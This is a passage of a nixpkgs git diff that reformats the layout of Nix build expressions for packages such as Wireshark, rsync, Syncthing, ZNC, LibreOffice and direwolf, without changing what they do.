+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
-  buildInputs =
+  buildInputs = [
+    bcg729
+    c-ares
+    gettext
+    glib
+    gnutls
+    libgcrypt
+    libgpg-error
+    libkrb5
+    libmaxminddb
+    libopus
+    libpcap
+    libsmi
+    libssh
+    lua5_4
+    lz4
+    minizip
+    nghttp2
+    nghttp3
+    opencore-amr
+    openssl
+    pcre2
+    snappy
+    spandsp3
+    speexdsp
+    zlib-ng
+    zstd
+  ]
+  ++ lib.optionals withQt (
+    with qt6;
     [
-      bcg729
-      c-ares
-      gettext
-      glib
-      gnutls
-      libgcrypt
-      libgpg-error
-      libkrb5
-      libmaxminddb
-      libopus
-      libpcap
-      libsmi
-      libssh
-      lua5_4
-      lz4
-      minizip
-      nghttp2
-      nghttp3
-      opencore-amr
-      openssl
-      pcre2
-      snappy
-      spandsp3
-      speexdsp
-      zlib-ng
-      zstd
+      qt5compat
+      qtbase
+      qtmultimedia
+      qtsvg
+      qttools
     ]
-    ++ lib.optionals withQt (
-      with qt6;
-      [
-        qt5compat
-        qtbase
-        qtmultimedia
-        qtsvg
-        qttools
-      ]
-    )
-    ++ lib.optionals (withQt && stdenv.hostPlatform.isLinux) [
-      qt6.qtwayland
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-      libnl
-      sbc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gmp
-    ];
+  )
+  ++ lib.optionals (withQt && stdenv.hostPlatform.isLinux) [
+    qt6.qtwayland
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+    libnl
+    sbc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gmp
+  ];
 
   strictDeps = true;
 
-  cmakeFlags =
-    [
-      "-DBUILD_wireshark=${if withQt then "ON" else "OFF"}"
-      # Fix `extcap` and `plugins` paths. See https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=16444
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DENABLE_APPLICATION_BUNDLE=${if isAppBundle then "ON" else "OFF"}"
-      "-DLEMON_C_COMPILER=cc"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "-DHAVE_C99_VSNPRINTF_EXITCODE__TRYRUN_OUTPUT="
-      "-DHAVE_C99_VSNPRINTF_EXITCODE=0"
-    ];
+  cmakeFlags = [
+    "-DBUILD_wireshark=${if withQt then "ON" else "OFF"}"
+    # Fix `extcap` and `plugins` paths. See https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=16444
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DENABLE_APPLICATION_BUNDLE=${if isAppBundle then "ON" else "OFF"}"
+    "-DLEMON_C_COMPILER=cc"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "-DHAVE_C99_VSNPRINTF_EXITCODE__TRYRUN_OUTPUT="
+    "-DHAVE_C99_VSNPRINTF_EXITCODE=0"
+  ];
 
   # Avoid referencing -dev paths because of debug assertions.
   env.NIX_CFLAGS_COMPILE = toString [ "-DQT_NO_DEBUG" ];
@@ -179,29 +176,28 @@ stdenv.mkDerivation rec {
     sed -i -e '1i cmake_policy(SET CMP0025 NEW)' CMakeLists.txt
   '';
 
-  postInstall =
-    ''
-      cmake --install . --prefix "''${!outputDev}" --component Development
-    ''
-    + lib.optionalString isAppBundle ''
-      mkdir -p $out/Applications
-      mv $out/bin/Wireshark.app $out/Applications/Wireshark.app
+  postInstall = ''
+    cmake --install . --prefix "''${!outputDev}" --component Development
+  ''
+  + lib.optionalString isAppBundle ''
+    mkdir -p $out/Applications
+    mv $out/bin/Wireshark.app $out/Applications/Wireshark.app
 
-      ln -s $out/Applications/Wireshark.app/Contents/MacOS/Wireshark $out/bin/wireshark
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      local flags=()
-      for file in $out/lib/*.dylib; do
-        flags+=(-change @rpath/"$(basename "$file")" "$file")
-      done
+    ln -s $out/Applications/Wireshark.app/Contents/MacOS/Wireshark $out/bin/wireshark
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    local flags=()
+    for file in $out/lib/*.dylib; do
+      flags+=(-change @rpath/"$(basename "$file")" "$file")
+    done
 
-      for file in $out/lib/wireshark/extcap/*; do
-        if [ -L "$file" ]; then continue; fi
-        echo "$file: fixing dylib references"
-        # note that -id does nothing on binaries
-        install_name_tool -id "$file" "''${flags[@]}" "$file"
-      done
-    '';
+    for file in $out/lib/wireshark/extcap/*; do
+      if [ -L "$file" ]; then continue; fi
+      echo "$file: fixing dylib references"
+      # note that -id does nothing on binaries
+      install_name_tool -id "$file" "''${flags[@]}" "$file"
+    done
+  '';
 
   preFixup = ''
     qtWrapperArgs+=("''${gappsWrapperArgs[@]}")
diff --git a/pkgs/applications/networking/sync/rsync/default.nix b/pkgs/applications/networking/sync/rsync/default.nix
index cfdd6b54d50b..5c4e899d376d 100644
--- a/pkgs/applications/networking/sync/rsync/default.nix
+++ b/pkgs/applications/networking/sync/rsync/default.nix
@@ -35,37 +35,35 @@ stdenv.mkDerivation rec {
     perl
   ];
 
-  buildInputs =
-    [
-      libiconv
-      zlib
-      popt
-    ]
-    ++ lib.optional enableACLs acl
-    ++ lib.optional enableZstd zstd
-    ++ lib.optional enableLZ4 lz4
-    ++ lib.optional enableOpenSSL openssl
-    ++ lib.optional enableXXHash xxHash;
+  buildInputs = [
+    libiconv
+    zlib
+    popt
+  ]
+  ++ lib.optional enableACLs acl
+  ++ lib.optional enableZstd zstd
+  ++ lib.optional enableLZ4 lz4
+  ++ lib.optional enableOpenSSL openssl
+  ++ lib.optional enableXXHash xxHash;
 
-  configureFlags =
-    [
-      (lib.enableFeature enableLZ4 "lz4")
-      (lib.enableFeature enableOpenSSL "openssl")
-      (lib.enableFeature enableXXHash "xxhash")
-      (lib.enableFeature enableZstd "zstd")
-      # Feature detection does a runtime check which varies according to ipv6
-      # availability, so force it on to make reproducible, see #360152.
-      (lib.enableFeature true "ipv6")
-      "--with-nobody-group=nogroup"
+  configureFlags = [
+    (lib.enableFeature enableLZ4 "lz4")
+    (lib.enableFeature enableOpenSSL "openssl")
+    (lib.enableFeature enableXXHash "xxhash")
+    (lib.enableFeature enableZstd "zstd")
+    # Feature detection does a runtime check which varies according to ipv6
+    # availability, so force it on to make reproducible, see #360152.
+    (lib.enableFeature true "ipv6")
+    "--with-nobody-group=nogroup"
 
-      # disable the included zlib explicitly as it otherwise still compiles and
-      # links them even.
-      "--with-included-zlib=no"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isMusl && stdenv.hostPlatform.isx86_64) [
-      # fix `multiversioning needs 'ifunc' which is not supported on this target` error
-      "--disable-roll-simd"
-    ];
+    # disable the included zlib explicitly as it otherwise still compiles and
+    # links them even.
+    "--with-included-zlib=no"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isMusl && stdenv.hostPlatform.isx86_64) [
+    # fix `multiversioning needs 'ifunc' which is not supported on this target` error
+    "--disable-roll-simd"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/networking/syncplay/default.nix b/pkgs/applications/networking/syncplay/default.nix
index cbe24744f029..76360dd32e2c 100644
--- a/pkgs/applications/networking/syncplay/default.nix
+++ b/pkgs/applications/networking/syncplay/default.nix
@@ -32,15 +32,14 @@ buildPythonApplication rec {
   buildInputs = lib.optionals enableGUI [
     (if stdenv.hostPlatform.isLinux then qt6.qtwayland else qt6.qtbase)
   ];
-  propagatedBuildInputs =
-    [
-      certifi
-      pem
-      twisted
-    ]
-    ++ twisted.optional-dependencies.tls
-    ++ lib.optional enableGUI pyside6
-    ++ lib.optional (stdenv.hostPlatform.isDarwin && enableGUI) appnope;
+  propagatedBuildInputs = [
+    certifi
+    pem
+    twisted
+  ]
+  ++ twisted.optional-dependencies.tls
+  ++ lib.optional enableGUI pyside6
+  ++ lib.optional (stdenv.hostPlatform.isDarwin && enableGUI) appnope;
   nativeBuildInputs = lib.optionals enableGUI [ qt6.wrapQtAppsHook ];
 
   makeFlags = [
diff --git a/pkgs/applications/networking/syncthing/default.nix b/pkgs/applications/networking/syncthing/default.nix
index ed806e43de99..20c943d05943 100644
--- a/pkgs/applications/networking/syncthing/default.nix
+++ b/pkgs/applications/networking/syncthing/default.nix
@@ -96,30 +96,29 @@ in
     stname = "syncthing";
     target = "syncthing";
 
-    postInstall =
-      ''
-        # This installs man pages in the correct directory according to the suffix
-        # on the filename
-        for mf in man/*.[1-9]; do
-          mantype="$(echo "$mf" | awk -F"." '{print $NF}')"
-          mandir="$out/share/man/man$mantype"
-          install -Dm644 "$mf" "$mandir/$(basename "$mf")"
-        done
+    postInstall = ''
+      # This installs man pages in the correct directory according to the suffix
+      # on the filename
+      for mf in man/*.[1-9]; do
+        mantype="$(echo "$mf" | awk -F"." '{print $NF}')"
+        mandir="$out/share/man/man$mantype"
+        install -Dm644 "$mf" "$mandir/$(basename "$mf")"
+      done
 
-        install -Dm644 etc/linux-desktop/syncthing-ui.desktop $out/share/applications/syncthing-ui.desktop
+      install -Dm644 etc/linux-desktop/syncthing-ui.desktop $out/share/applications/syncthing-ui.desktop
 
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isLinux) ''
-        mkdir -p $out/lib/systemd/{system,user}
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isLinux) ''
+      mkdir -p $out/lib/systemd/{system,user}
 
-        substitute etc/linux-systemd/system/syncthing@.service \
-                   $out/lib/systemd/system/syncthing@.service \
-                   --replace-fail /usr/bin/syncthing $out/bin/syncthing
+      substitute etc/linux-systemd/system/syncthing@.service \
+                 $out/lib/systemd/system/syncthing@.service \
+                 --replace-fail /usr/bin/syncthing $out/bin/syncthing
 
-        substitute etc/linux-systemd/user/syncthing.service \
-                   $out/lib/systemd/user/syncthing.service \
-                   --replace-fail /usr/bin/syncthing $out/bin/syncthing
-      '';
+      substitute etc/linux-systemd/user/syncthing.service \
+                 $out/lib/systemd/user/syncthing.service \
+                 --replace-fail /usr/bin/syncthing $out/bin/syncthing
+    '';
   };
 
   syncthing-discovery = common {
diff --git a/pkgs/applications/networking/znc/default.nix b/pkgs/applications/networking/znc/default.nix
index 18a4b9f3ac84..bd1e8b8cec42 100644
--- a/pkgs/applications/networking/znc/default.nix
+++ b/pkgs/applications/networking/znc/default.nix
@@ -40,25 +40,25 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optional withPerl perl
-    ++ lib.optional withPython python3
-    ++ lib.optional withTcl tcl
-    ++ lib.optional withCyrus cyrus_sasl
-    ++ lib.optional withUnicode icu
-    ++ lib.optional withZlib zlib;
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional withPerl perl
+  ++ lib.optional withPython python3
+  ++ lib.optional withTcl tcl
+  ++ lib.optional withCyrus cyrus_sasl
+  ++ lib.optional withUnicode icu
+  ++ lib.optional withZlib zlib;
 
-  configureFlags =
-    [
-      (lib.enableFeature withPerl "perl")
-      (lib.enableFeature withPython "python")
-      (lib.enableFeature withTcl "tcl")
-      (lib.withFeatureAs withTcl "tcl" "${tcl}/lib")
-      (lib.enableFeature withCyrus "cyrus")
-    ]
-    ++ lib.optionals (!withIPv6) [ "--disable-ipv6" ]
-    ++ lib.optionals withDebug [ "--enable-debug" ];
+  configureFlags = [
+    (lib.enableFeature withPerl "perl")
+    (lib.enableFeature withPython "python")
+    (lib.enableFeature withTcl "tcl")
+    (lib.withFeatureAs withTcl "tcl" "${tcl}/lib")
+    (lib.enableFeature withCyrus "cyrus")
+  ]
+  ++ lib.optionals (!withIPv6) [ "--disable-ipv6" ]
+  ++ lib.optionals withDebug [ "--enable-debug" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/office/activitywatch/wrapper.nix b/pkgs/applications/office/activitywatch/wrapper.nix
index 5ae59a16df3e..67ecb30769ad 100644
--- a/pkgs/applications/office/activitywatch/wrapper.nix
+++ b/pkgs/applications/office/activitywatch/wrapper.nix
@@ -17,7 +17,8 @@ symlinkJoin {
     aw-notify.out
     aw-watcher-afk.out
     aw-watcher-window.out
-  ] ++ (lib.forEach extraWatchers (p: p.out));
+  ]
+  ++ (lib.forEach extraWatchers (p: p.out));
 
   meta = with lib; {
     description = "The best free and open-source automated time tracker";
diff --git a/pkgs/applications/office/beamerpresenter/default.nix b/pkgs/applications/office/beamerpresenter/default.nix
index 887ded477918..b9e5b3a0308a 100644
--- a/pkgs/applications/office/beamerpresenter/default.nix
+++ b/pkgs/applications/office/beamerpresenter/default.nix
@@ -47,30 +47,29 @@ stdenv.mkDerivation rec {
 
   dontWrapGApps = true;
 
-  buildInputs =
-    [
-      gst_all_1.gst-libav
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      zlib
-      qtbase
-      qtsvg
-      qtmultimedia
-      qttools
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ]
-    ++ lib.optionals useMupdf [
-      freetype
-      gumbo
-      jbig2dec
-      mupdf
-      openjpeg
-    ]
-    ++ lib.optionals usePoppler [
-      poppler
-    ];
+  buildInputs = [
+    gst_all_1.gst-libav
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    zlib
+    qtbase
+    qtsvg
+    qtmultimedia
+    qttools
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ]
+  ++ lib.optionals useMupdf [
+    freetype
+    gumbo
+    jbig2dec
+    mupdf
+    openjpeg
+  ]
+  ++ lib.optionals usePoppler [
+    poppler
+  ];
 
   cmakeFlags = [
     "-DGIT_VERSION=OFF"
diff --git a/pkgs/applications/office/libreoffice/default.nix b/pkgs/applications/office/libreoffice/default.nix
index e4903a823013..aad43076fb71 100644
--- a/pkgs/applications/office/libreoffice/default.nix
+++ b/pkgs/applications/office/libreoffice/default.nix
@@ -303,65 +303,63 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = srcsAttributes.main { inherit fetchurl fetchgit; };
 
-  postUnpack =
-    ''
-      mkdir -v $sourceRoot/${tarballPath}
+  postUnpack = ''
+    mkdir -v $sourceRoot/${tarballPath}
 
-      ${flip concatMapStrings srcs.third_party (f: ''
-        ln -sfv ${f} $sourceRoot/${tarballPath}/${f.md5name}
-        ln -sfv ${f} $sourceRoot/${tarballPath}/${f.name}
-      '')}
+    ${flip concatMapStrings srcs.third_party (f: ''
+      ln -sfv ${f} $sourceRoot/${tarballPath}/${f.md5name}
+      ln -sfv ${f} $sourceRoot/${tarballPath}/${f.name}
+    '')}
 
-    ''
-    + (
-      if (variant != "collabora") then
-        ''
-          ln -sv ${srcs.help} $sourceRoot/${tarballPath}/${srcs.help.name}
-          ln -svf ${srcs.translations} $sourceRoot/${tarballPath}/${srcs.translations.name}
+  ''
+  + (
+    if (variant != "collabora") then
+      ''
+        ln -sv ${srcs.help} $sourceRoot/${tarballPath}/${srcs.help.name}
+        ln -svf ${srcs.translations} $sourceRoot/${tarballPath}/${srcs.translations.name}
 
-          tar -xf ${srcs.help}
-          tar -xf ${srcs.translations}
-        ''
-      else
-        ''
-          cp -r --no-preserve=mode ${srcs.help}/. $sourceRoot/helpcontent2/
-          cp -r --no-preserve=mode ${srcs.translations}/. $sourceRoot/translations/
-        ''
-    );
+        tar -xf ${srcs.help}
+        tar -xf ${srcs.translations}
+      ''
+    else
+      ''
+        cp -r --no-preserve=mode ${srcs.help}/. $sourceRoot/helpcontent2/
+        cp -r --no-preserve=mode ${srcs.translations}/. $sourceRoot/translations/
+      ''
+  );
 
-  patches =
-    [
-      # Skip some broken tests:
-      # - tdf160386 does not fall back to a CJK font properly for some reason
-      # - the remaining tests have notes in the patches
-      # FIXME: get rid of this ASAP
-      ./skip-broken-tests.patch
-      (./skip-broken-tests- + variant + ".patch")
+  patches = [
+    # Skip some broken tests:
+    # - tdf160386 does not fall back to a CJK font properly for some reason
+    # - the remaining tests have notes in the patches
+    # FIXME: get rid of this ASAP
+    ./skip-broken-tests.patch
+    (./skip-broken-tests- + variant + ".patch")
 
-      # Don't detect Qt paths from qmake, so our patched-in onese are used
-      ./dont-detect-qt-paths-from-qmake.patch
+    # Don't detect Qt paths from qmake, so our patched-in onese are used
+    ./dont-detect-qt-paths-from-qmake.patch
 
-      # Revert part of https://github.com/LibreOffice/core/commit/6f60670877208612b5ea320b3677480ef6508abb that broke zlib linking
-      ./readd-explicit-zlib-link.patch
+    # Revert part of https://github.com/LibreOffice/core/commit/6f60670877208612b5ea320b3677480ef6508abb that broke zlib linking
+    ./readd-explicit-zlib-link.patch
 
-      # Backport patch to fix build with Poppler 25.05
-      # FIXME: conditionalize/remove as upstream updates
-      (fetchpatch2 {
-        url = "https://github.com/LibreOffice/core/commit/0ee2636304ac049f21415c67e92040f7d6c14d35.patch";
-        includes = [ "sdext/*" ];
-        hash = "sha256-8yipl5ln1yCNfVM8SuWowsw1Iy/SXIwbdT1ZfNw4cJA=";
-      })
-    ]
-    ++ lib.optionals (lib.versionOlder version "24.8") [
-      (fetchpatch2 {
-        name = "icu74-compat.patch";
-        url = "https://gitlab.archlinux.org/archlinux/packaging/packages/libreoffice-fresh/-/raw/main/libreoffice-7.5.8.2-icu-74-compatibility.patch?ref_type=heads.patch";
-        hash = "sha256-OGBPIVQj8JTYlkKywt4QpH7ULAzKmet5jTLztGpIS0Y=";
-      })
-    ]
-    ++ lib.optionals (variant == "collabora") [
-      ./fix-unpack-collabora.patch
-    ];
+    # Backport patch to fix build with Poppler 25.05
+    # FIXME: conditionalize/remove as upstream updates
+    (fetchpatch2 {
+      url = "https://github.com/LibreOffice/core/commit/0ee2636304ac049f21415c67e92040f7d6c14d35.patch";
+      includes = [ "sdext/*" ];
+      hash = "sha256-8yipl5ln1yCNfVM8SuWowsw1Iy/SXIwbdT1ZfNw4cJA=";
+    })
+  ]
+  ++ lib.optionals (lib.versionOlder version "24.8") [
+    (fetchpatch2 {
+      name = "icu74-compat.patch";
+      url = "https://gitlab.archlinux.org/archlinux/packaging/packages/libreoffice-fresh/-/raw/main/libreoffice-7.5.8.2-icu-74-compatibility.patch?ref_type=heads.patch";
+      hash = "sha256-OGBPIVQj8JTYlkKywt4QpH7ULAzKmet5jTLztGpIS0Y=";
+    })
+  ]
+  ++ lib.optionals (variant == "collabora") [
+    ./fix-unpack-collabora.patch
+  ];
 
   postPatch = ''
     # configure checks for header 'gpgme++/gpgmepp_version.h',
@@ -501,139 +499,137 @@ stdenv.mkDerivation (finalAttrs: {
       kio
     ];
 
-  preConfigure =
-    ''
-      configureFlagsArray=(
-        "--with-parallelism=$NIX_BUILD_CORES"
-        # here because we need to be very specific about spaces
-        "--with-lang=${concatStringsSep " " langs}"
-      );
-
-      patchShebangs .
-
-      NOCONFIGURE=1 ./autogen.sh
-    ''
-    + optionalString kdeIntegration ''
-      # configure.ac assumes that the first directory that contains headers and
-      # libraries during its checks contains *all* the relevant headers/libs which
-      # obviously doesn't work for us, so we have 2 options:
-      #
-      # 1. patch configure.ac in order to specify the direct paths to various Qt/KDE
-      # dependencies which is ugly and brittle, or
-      #
-      # 2. use symlinkJoin to pull in the relevant dependencies and just patch in
-      # that path which is *also* ugly, but far less likely to break
-      #
-      # The 2nd option is not very Nix'y, but I'll take robust over nice any day.
-      # Additionally, it's much easier to fix if LO breaks on the next upgrade (just
-      # add the missing dependencies to it).
-      export QT${qtMajor}INC=${kdeDeps}/include
-      export QT${qtMajor}LIB=${kdeDeps}/lib
-      export KF${qtMajor}INC="${kdeDeps}/include ${kdeDeps}/include/KF${qtMajor}"
-      export KF${qtMajor}LIB=${kdeDeps}/lib
-    '';
-
-  configureFlags =
-    [
-      # Explicitly passing in --host even on non-cross, because
-      # LibreOffice will attempt to detect WSL and cross-compile
-      # itself to Windows automatically, and we don't want it
-      # doing that.
-      "--host=${stdenv.hostPlatform.config}"
-      "--without-buildconfig-recorded"
-
-      (lib.withFeature withHelp "help")
-      "--with-boost=${getDev boost}"
-      "--with-boost-libdir=${getLib boost}/lib"
-      "--with-beanshell-jar=${bsh}"
-      "--with-vendor=NixOS"
-      "--disable-report-builder"
-      "--disable-online-update"
-      "--enable-python=system"
-      "--enable-dbus"
-      "--enable-release-build"
-      "--enable-epm"
-      "--with-ant-home=${ant.home}"
-
-      # Without these, configure does not finish
-      "--without-junit"
-
-      # Schema files for validation are not included in the source tarball
-      "--without-export-validation"
-
-      # We do tarball prefetching ourselves
-      "--disable-fetch-external"
-      "--enable-build-opensymbol"
-
-      # I imagine this helps. Copied from go-oo.
-      # Modified on every upgrade, though
-      "--disable-odk"
-      "--disable-firebird-sdbc"
-      (lib.withFeature withFonts "fonts")
-      "--without-doxygen"
-
-      "--with-system-beanshell"
-      "--with-system-cairo"
-      "--with-system-coinmp"
-      "--with-system-headers"
-      "--with-system-libabw"
-      "--with-system-libcmis"
-      "--with-system-libepubgen"
-      "--with-system-libetonyek"
-      "--with-system-liblangtag"
-      "--with-system-libs"
-      "--with-system-libwps"
-      "--with-system-lpsolve"
-      "--with-system-mdds"
-      "--with-system-openldap"
-      "--with-system-openssl"
-      "--with-system-orcus"
-      "--with-system-postgresql"
-      "--with-system-xmlsec"
-
-      # TODO: package these as system libraries
-      "--without-system-altlinuxhyph"
-      "--without-system-frozen"
-      "--without-system-libfreehand"
-      "--without-system-libmspub"
-      "--without-system-libnumbertext"
-      "--without-system-libpagemaker"
-      "--without-system-libstaroffice"
-      "--without-system-libqxp"
-      "--without-system-dragonbox"
-      "--without-system-libfixmath"
-
-      # requires an oddly specific, old version
-      "--without-system-hsqldb"
-
-      # searches hardcoded paths that are wrong
-      "--without-system-zxing"
-
-      # is packaged but headers can't be found because there is no pkg-config file
-      "--without-system-zxcvbn"
-    ]
-    ++ optionals kdeIntegration [
-      "--enable-kf${qtMajor}"
-      "--enable-qt${qtMajor}"
-    ]
-    ++ optionals (kdeIntegration && qtMajor == "5") [
-      "--enable-gtk3-kde5"
-    ]
-    ++ (
-      if variant == "fresh" || variant == "collabora" then
-        [
-          "--with-system-rhino"
-          "--with-rhino-jar=${rhino}/share/java/js.jar"
-
-          "--without-system-java-websocket"
-        ]
-      else
-        [
-          # our Rhino is too new for older versions
-          "--without-system-rhino"
-        ]
+  preConfigure = ''
+    configureFlagsArray=(
+      "--with-parallelism=$NIX_BUILD_CORES"
+      # here because we need to be very specific about spaces
+      "--with-lang=${concatStringsSep " " langs}"
     );
 
+    patchShebangs .
+
+    NOCONFIGURE=1 ./autogen.sh
+  ''
+  + optionalString kdeIntegration ''
+    # configure.ac assumes that the first directory that contains headers and
+    # libraries during its checks contains *all* the relevant headers/libs which
+    # obviously doesn't work for us, so we have 2 options:
+    #
+    # 1. patch configure.ac in order to specify the direct paths to various Qt/KDE
+    # dependencies which is ugly and brittle, or
+    #
+    # 2. use symlinkJoin to pull in the relevant dependencies and just patch in
+    # that path which is *also* ugly, but far less likely to break
+    #
+    # The 2nd option is not very Nix'y, but I'll take robust over nice any day.
+    # Additionally, it's much easier to fix if LO breaks on the next upgrade (just
+    # add the missing dependencies to it).
+    export QT${qtMajor}INC=${kdeDeps}/include
+    export QT${qtMajor}LIB=${kdeDeps}/lib
+    export KF${qtMajor}INC="${kdeDeps}/include ${kdeDeps}/include/KF${qtMajor}"
+    export KF${qtMajor}LIB=${kdeDeps}/lib
+  '';
+
+  configureFlags = [
+    # Explicitly passing in --host even on non-cross, because
+    # LibreOffice will attempt to detect WSL and cross-compile
+    # itself to Windows automatically, and we don't want it
+    # doing that.
+    "--host=${stdenv.hostPlatform.config}"
+    "--without-buildconfig-recorded"
+
+    (lib.withFeature withHelp "help")
+    "--with-boost=${getDev boost}"
+    "--with-boost-libdir=${getLib boost}/lib"
+    "--with-beanshell-jar=${bsh}"
+    "--with-vendor=NixOS"
+    "--disable-report-builder"
+    "--disable-online-update"
+    "--enable-python=system"
+    "--enable-dbus"
+    "--enable-release-build"
+    "--enable-epm"
+    "--with-ant-home=${ant.home}"
+
+    # Without these, configure does not finish
+    "--without-junit"
+
+    # Schema files for validation are not included in the source tarball
+    "--without-export-validation"
+
+    # We do tarball prefetching ourselves
+    "--disable-fetch-external"
+    "--enable-build-opensymbol"
+
+    # I imagine this helps. Copied from go-oo.
+    # Modified on every upgrade, though
+    "--disable-odk"
+    "--disable-firebird-sdbc"
+    (lib.withFeature withFonts "fonts")
+    "--without-doxygen"
+
+    "--with-system-beanshell"
+    "--with-system-cairo"
+    "--with-system-coinmp"
+    "--with-system-headers"
+    "--with-system-libabw"
+    "--with-system-libcmis"
+    "--with-system-libepubgen"
+    "--with-system-libetonyek"
+    "--with-system-liblangtag"
+    "--with-system-libs"
+    "--with-system-libwps"
+    "--with-system-lpsolve"
+    "--with-system-mdds"
+    "--with-system-openldap"
+    "--with-system-openssl"
+    "--with-system-orcus"
+    "--with-system-postgresql"
+    "--with-system-xmlsec"
+
+    # TODO: package these as system libraries
+    "--without-system-altlinuxhyph"
+    "--without-system-frozen"
+    "--without-system-libfreehand"
+    "--without-system-libmspub"
+    "--without-system-libnumbertext"
+    "--without-system-libpagemaker"
+    "--without-system-libstaroffice"
+    "--without-system-libqxp"
+    "--without-system-dragonbox"
+    "--without-system-libfixmath"
+
+    # requires an oddly specific, old version
+    "--without-system-hsqldb"
+
+    # searches hardcoded paths that are wrong
+    "--without-system-zxing"
+
+    # is packaged but headers can't be found because there is no pkg-config file
+    "--without-system-zxcvbn"
+  ]
+  ++ optionals kdeIntegration [
+    "--enable-kf${qtMajor}"
+    "--enable-qt${qtMajor}"
+  ]
+  ++ optionals (kdeIntegration && qtMajor == "5") [
+    "--enable-gtk3-kde5"
+  ]
+  ++ (
+    if variant == "fresh" || variant == "collabora" then
+      [
+        "--with-system-rhino"
+        "--with-rhino-jar=${rhino}/share/java/js.jar"
+
+        "--without-system-java-websocket"
+      ]
+    else
+      [
+        # our Rhino is too new for older versions
+        "--without-system-rhino"
+      ]
+  );
+
   env = {
     # FIXME: this is a hack, because the right cflags are not being picked up
     # from rasqal's .pc file. Needs more investigation.
diff --git a/pkgs/applications/office/paperwork/paperwork-gtk.nix b/pkgs/applications/office/paperwork/paperwork-gtk.nix
index 0ff7a13e031f..fa4428e9862f 100644
--- a/pkgs/applications/office/paperwork/paperwork-gtk.nix
+++ b/pkgs/applications/office/paperwork/paperwork-gtk.nix
@@ -92,7 +92,8 @@ python3Packages.buildPythonApplication rec {
     (lib.getBin gettext)
     which
     gdk-pixbuf # for the setup hook
-  ] ++ documentation_deps;
+  ]
+  ++ documentation_deps;
 
   buildInputs = [
     adwaita-icon-theme
diff --git a/pkgs/applications/radio/direwolf/default.nix b/pkgs/applications/radio/direwolf/default.nix
index f35f66ecc2a4..6ade0263cbb8 100644
--- a/pkgs/applications/radio/direwolf/default.nix
+++ b/pkgs/applications/radio/direwolf/default.nix
@@ -49,27 +49,26 @@ stdenv.mkDerivation rec {
     echo "" > scripts/CMakeLists.txt
   '';
 
-  postPatch =
-    ''
-      substituteInPlace conf/CMakeLists.txt \
-        --replace /etc/udev/rules.d/ $out/lib/udev/rules.d/
-      substituteInPlace src/symbols.c \
-        --replace /usr/share/direwolf/symbols-new.txt $out/share/direwolf/symbols-new.txt \
-        --replace /opt/local/share/direwolf/symbols-new.txt $out/share/direwolf/symbols-new.txt
-      substituteInPlace src/decode_aprs.c \
-        --replace /usr/share/direwolf/tocalls.txt $out/share/direwolf/tocalls.txt \
-        --replace /opt/local/share/direwolf/tocalls.txt $out/share/direwolf/tocalls.txt
-      substituteInPlace cmake/cpack/direwolf.desktop.in \
-        --replace 'Terminal=false' 'Terminal=true' \
-        --replace 'Exec=@APPLICATION_DESKTOP_EXEC@' 'Exec=direwolf'
-      substituteInPlace src/dwgpsd.c \
-        --replace 'GPSD_API_MAJOR_VERSION > 11' 'GPSD_API_MAJOR_VERSION > 14'
-    ''
-    + lib.optionalString extraScripts ''
-      patchShebangs scripts/dwespeak.sh
-      substituteInPlace scripts/dwespeak.sh \
-        --replace espeak ${espeak}/bin/espeak
-    '';
+  postPatch = ''
+    substituteInPlace conf/CMakeLists.txt \
+      --replace /etc/udev/rules.d/ $out/lib/udev/rules.d/
+    substituteInPlace src/symbols.c \
+      --replace /usr/share/direwolf/symbols-new.txt $out/share/direwolf/symbols-new.txt \
+      --replace /opt/local/share/direwolf/symbols-new.txt $out/share/direwolf/symbols-new.txt
+    substituteInPlace src/decode_aprs.c \
+      --replace /usr/share/direwolf/tocalls.txt $out/share/direwolf/tocalls.txt \
+      --replace /opt/local/share/direwolf/tocalls.txt $out/share/direwolf/tocalls.txt
+    substituteInPlace cmake/cpack/direwolf.desktop.in \
+      --replace 'Terminal=false' 'Terminal=true' \
+      --replace 'Exec=@APPLICATION_DESKTOP_EXEC@' 'Exec=direwolf'
+    substituteInPlace src/dwgpsd.c \
+      --replace 'GPSD_API_MAJOR_VERSION > 11' 'GPSD_API_MAJOR_VERSION > 14'
+  ''
+  + lib.optionalString extraScripts ''
+    patchShebangs scripts/dwespeak.sh
+    substituteInPlace scripts/dwespeak.sh \
+      --replace espeak ${espeak}/bin/espeak
+  '';
 
   meta = with lib; {
     description = "Soundcard Packet TNC, APRS Digipeater, IGate, APRStt gateway";
diff --git a/pkgs/applications/radio/fldigi/default.nix b/pkgs/applications/radio/fldigi/default.nix
index c759b83b546b..26059546eaac 100644
--- a/pkgs/applications/radio/fldigi/default.nix
+++ b/pkgs/applications/radio/fldigi/default.nix
@@ -28,23 +28,22 @@ stdenv.mkDerivation rec {
 
